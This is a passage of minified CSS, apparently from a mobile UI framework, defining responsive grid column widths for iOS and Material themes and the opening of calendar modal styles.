.desktop-auto:nth-last-child(12),.ios .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .desktop-auto:nth-last-child(12),.ios .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.ios .row .desktop-auto:nth-last-child(13),.ios .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .desktop-auto:nth-last-child(13),.ios .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.ios .row .desktop-auto:nth-last-child(14),.ios .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .desktop-auto:nth-last-child(14),.ios .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.ios .row .desktop-auto:nth-last-child(15),.ios .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .desktop-auto:nth-last-child(15),.ios .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.ios .row .desktop-auto:nth-last-child(16),.ios .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .desktop-auto:nth-last-child(16),.ios .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.ios .row .desktop-auto:nth-last-child(17),.ios .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .desktop-auto:nth-last-child(17),.ios .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.ios .row .desktop-auto:nth-last-child(18),.ios .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .desktop-auto:nth-last-child(18),.ios .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.ios .row .desktop-auto:nth-last-child(19),.ios .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .desktop-auto:nth-last-child(19),.ios .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.ios .row .desktop-auto:nth-last-child(20),.ios .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-auto:nth-last-child(20),.ios .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.ios .row .desktop-auto:nth-last-child(21),.ios .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .desktop-auto:nth-last-child(21),.ios .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.md .row .col-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col-100{width:100%}.md .row .col-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .col-95{width:95%}.md .row .col-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .col-90{width:90%}.md .row .col-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .col-85{width:85%}.md .row .col-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .col-80{width:80%}.md .row .col-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .col-75{width:75%}.md .row .col-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .col-70{width:70%}.md .row .col-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .col-66{width:66.66666666666666%}.md .row .col-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .col-65{width:65%}.md .row .col-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .col-60{width:60%}.md .row .col-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .col-55{width:55%}.md .row .col-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col-50{width:50%}.md .row .col-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .col-45{width:45%}.md .row .col-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .col-40{width:40%}.md .row .col-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .col-35{width:35%}.md .row .col-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col-33{width:33.333333333333336%}.md .row .col-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .col-30{width:30%}.md .row .col-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col-25{width:25%}.md .row .col-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col-20{width:20%}.md .row .col-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .col-15{width:15%}.md .row .col-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col-10{width:10%}.md .row .col-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col-5{width:5%}.md .row .col:nth-last-child(1),.md .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col:nth-last-child(1),.md .row.no-gap .col:nth-last-child(1)~.col{width:100%}.md .row .col:nth-last-child(2),.md .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col:nth-last-child(2),.md .row.no-gap .col:nth-last-child(2)~.col{width:50%}.md .row .col:nth-last-child(3),.md .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col:nth-last-child(3),.md .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.md .row .col:nth-last-child(4),.md .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col:nth-last-child(4),.md .row.no-gap .col:nth-last-child(4)~.col{width:25%}.md .row .col:nth-last-child(5),.md .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col:nth-last-child(5),.md .row.no-gap .col:nth-last-child(5)~.col{width:20%}.md .row .col:nth-last-child(6),.md .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .col:nth-last-child(6),.md .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.md .row .col:nth-last-child(7),.md .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .col:nth-last-child(7),.md .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.md .row .col:nth-last-child(8),.md .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .col:nth-last-child(8),.md .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.md .row .col:nth-last-child(9),.md .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .col:nth-last-child(9),.md .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.md .row .col:nth-last-child(10),.md .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col:nth-last-child(10),.md .row.no-gap .col:nth-last-child(10)~.col{width:10%}.md .row .col:nth-last-child(11),.md .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .col:nth-last-child(11),.md .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.md .row .col:nth-last-child(12),.md .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .col:nth-last-child(12),.md .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.md .row .col:nth-last-child(13),.md .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .col:nth-last-child(13),.md .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.md .row .col:nth-last-child(14),.md .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .col:nth-last-child(14),.md .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.md .row .col:nth-last-child(15),.md .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .col:nth-last-child(15),.md .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.md .row .col:nth-last-child(16),.md .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .col:nth-last-child(16),.md .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.md .row .col:nth-last-child(17),.md .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .col:nth-last-child(17),.md .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.md .row .col:nth-last-child(18),.md .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .col:nth-last-child(18),.md .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.md .row .col:nth-last-child(19),.md .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .col:nth-last-child(19),.md .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.md .row .col:nth-last-child(20),.md .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col:nth-last-child(20),.md .row.no-gap .col:nth-last-child(20)~.col{width:5%}.md .row .col:nth-last-child(21),.md .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .col:nth-last-child(21),.md .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.md .row .tablet-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-100{width:100%}.md .row .tablet-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .tablet-95{width:95%}.md .row .tablet-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .tablet-90{width:90%}.md .row .tablet-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .tablet-85{width:85%}.md .row .tablet-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .tablet-80{width:80%}.md .row .tablet-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .tablet-75{width:75%}.md .row .tablet-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .tablet-70{width:70%}.md .row .tablet-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .tablet-66{width:66.66666666666666%}.md .row .tablet-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .tablet-65{width:65%}.md .row .tablet-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .tablet-60{width:60%}.md .row .tablet-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .tablet-55{width:55%}.md .row .tablet-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-50{width:50%}.md .row .tablet-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .tablet-45{width:45%}.md .row .tablet-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .tablet-40{width:40%}.md .row .tablet-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .tablet-35{width:35%}.md .row .tablet-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-33{width:33.333333333333336%}.md .row .tablet-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .tablet-30{width:30%}.md .row .tablet-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-25{width:25%}.md .row .tablet-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-20{width:20%}.md .row .tablet-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .tablet-15{width:15%}.md .row .tablet-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-10{width:10%}.md .row .tablet-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-5{width:5%}.md .row .tablet-auto:nth-last-child(1),.md .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-auto:nth-last-child(1),.md .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.md .row .tablet-auto:nth-last-child(2),.md .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-auto:nth-last-child(2),.md .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.md .row .tablet-auto:nth-last-child(3),.md .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-auto:nth-last-child(3),.md .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.md .row .tablet-auto:nth-last-child(4),.md .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-auto:nth-last-child(4),.md .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.md .row .tablet-auto:nth-last-child(5),.md .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-auto:nth-last-child(5),.md .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.md .row .tablet-auto:nth-last-child(6),.md .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .tablet-auto:nth-last-child(6),.md .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.md .row .tablet-auto:nth-last-child(7),.md .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .tablet-auto:nth-last-child(7),.md .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.md .row .tablet-auto:nth-last-child(8),.md .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .tablet-auto:nth-last-child(8),.md .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.md .row .tablet-auto:nth-last-child(9),.md .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .tablet-auto:nth-last-child(9),.md .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.md .row .tablet-auto:nth-last-child(10),.md .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-auto:nth-last-child(10),.md .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.md .row .tablet-auto:nth-last-child(11),.md .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .tablet-auto:nth-last-child(11),.md .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.md .row .tablet-auto:nth-last-child(12),.md .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .tablet-auto:nth-last-child(12),.md .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.md .row .tablet-auto:nth-last-child(13),.md .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .tablet-auto:nth-last-child(13),.md .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.md .row .tablet-auto:nth-last-child(14),.md .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .tablet-auto:nth-last-child(14),.md .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.md .row .tablet-auto:nth-last-child(15),.md .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .tablet-auto:nth-last-child(15),.md .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.md .row .tablet-auto:nth-last-child(16),.md .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .tablet-auto:nth-last-child(16),.md .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.md .row .tablet-auto:nth-last-child(17),.md .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .tablet-auto:nth-last-child(17),.md .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.md .row .tablet-auto:nth-last-child(18),.md .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .tablet-auto:nth-last-child(18),.md .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.md .row .tablet-auto:nth-last-child(19),.md .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .tablet-auto:nth-last-child(19),.md .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.md .row .tablet-auto:nth-last-child(20),.md .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-auto:nth-last-child(20),.md .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.md .row .tablet-auto:nth-last-child(21),.md .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .tablet-auto:nth-last-child(21),.md .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.md .row .desktop-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-100{width:100%}.md .row .desktop-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .desktop-95{width:95%}.md .row .desktop-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .desktop-90{width:90%}.md .row .desktop-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .desktop-85{width:85%}.md .row .desktop-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .desktop-80{width:80%}.md .row .desktop-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .desktop-75{width:75%}.md .row .desktop-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .desktop-70{width:70%}.md .row .desktop-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .desktop-66{width:66.66666666666666%}.md .row .desktop-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .desktop-65{width:65%}.md .row .desktop-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .desktop-60{width:60%}.md .row .desktop-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .desktop-55{width:55%}.md .row .desktop-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-50{width:50%}.md .row .desktop-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .desktop-45{width:45%}.md .row .desktop-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .desktop-40{width:40%}.md .row .desktop-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .desktop-35{width:35%}.md .row .desktop-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-33{width:33.333333333333336%}.md .row .desktop-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .desktop-30{width:30%}.md .row .desktop-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-25{width:25%}.md .row .desktop-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-20{width:20%}.md .row .desktop-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .desktop-15{width:15%}.md .row .desktop-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-10{width:10%}.md .row .desktop-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-5{width:5%}.md .row .desktop-auto:nth-last-child(1),.md .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-auto:nth-last-child(1),.md .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.md .row .desktop-auto:nth-last-child(2),.md .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-auto:nth-last-child(2),.md .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.md .row .desktop-auto:nth-last-child(3),.md .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-auto:nth-last-child(3),.md .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.md .row .desktop-auto:nth-last-child(4),.md .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-auto:nth-last-child(4),.md .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.md .row .desktop-auto:nth-last-child(5),.md .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-auto:nth-last-child(5),.md .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.md .row .desktop-auto:nth-last-child(6),.md .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .desktop-auto:nth-last-child(6),.md .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.md .row .desktop-auto:nth-last-child(7),.md .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .desktop-auto:nth-last-child(7),.md .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.md .row .desktop-auto:nth-last-child(8),.md .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .desktop-auto:nth-last-child(8),.md .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.md .row .desktop-auto:nth-last-child(9),.md .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .desktop-auto:nth-last-child(9),.md .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.md .row .desktop-auto:nth-last-child(10),.md .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-auto:nth-last-child(10),.md .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.md .row .desktop-auto:nth-last-child(11),.md .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .desktop-auto:nth-last-child(11),.md .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.md .row .desktop-auto:nth-last-child(12),.md .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .desktop-auto:nth-last-child(12),.md .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.md .row .desktop-auto:nth-last-child(13),.md .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .desktop-auto:nth-last-child(13),.md .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.md .row .desktop-auto:nth-last-child(14),.md .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .desktop-auto:nth-last-child(14),.md .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.md .row .desktop-auto:nth-last-child(15),.md .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .desktop-auto:nth-last-child(15),.md .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.md .row .desktop-auto:nth-last-child(16),.md .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .desktop-auto:nth-last-child(16),.md .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.md .row .desktop-auto:nth-last-child(17),.md .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .desktop-auto:nth-last-child(17),.md .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.md .row .desktop-auto:nth-last-child(18),.md .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .desktop-auto:nth-last-child(18),.md .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.md .row .desktop-auto:nth-last-child(19),.md .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .desktop-auto:nth-last-child(19),.md .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.md .row .desktop-auto:nth-last-child(20),.md .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-auto:nth-last-child(20),.md .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.md .row .desktop-auto:nth-last-child(21),.md .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .desktop-auto:nth-last-child(21),.md .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.calendar{overflow:hidden;height:320px;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.calendar.modal-in{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}@media (orientation:landscape) and (max-height:415px){.calendar.calendar-sheet{height:220px}.calendar.calendar-modal{height:calc(100vh - 44px)}}.calendar.calendar-inline,.calendar.calendar-popover .calendar{position:relative}.calendar-modal{position:absolute;height:420px;overflow:hidden;top:50%;left:50%;min-width:300px;max-width:380px;-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0);-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:12000;background:#fff;width:90%;border-radius:4px;-webkit-box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px 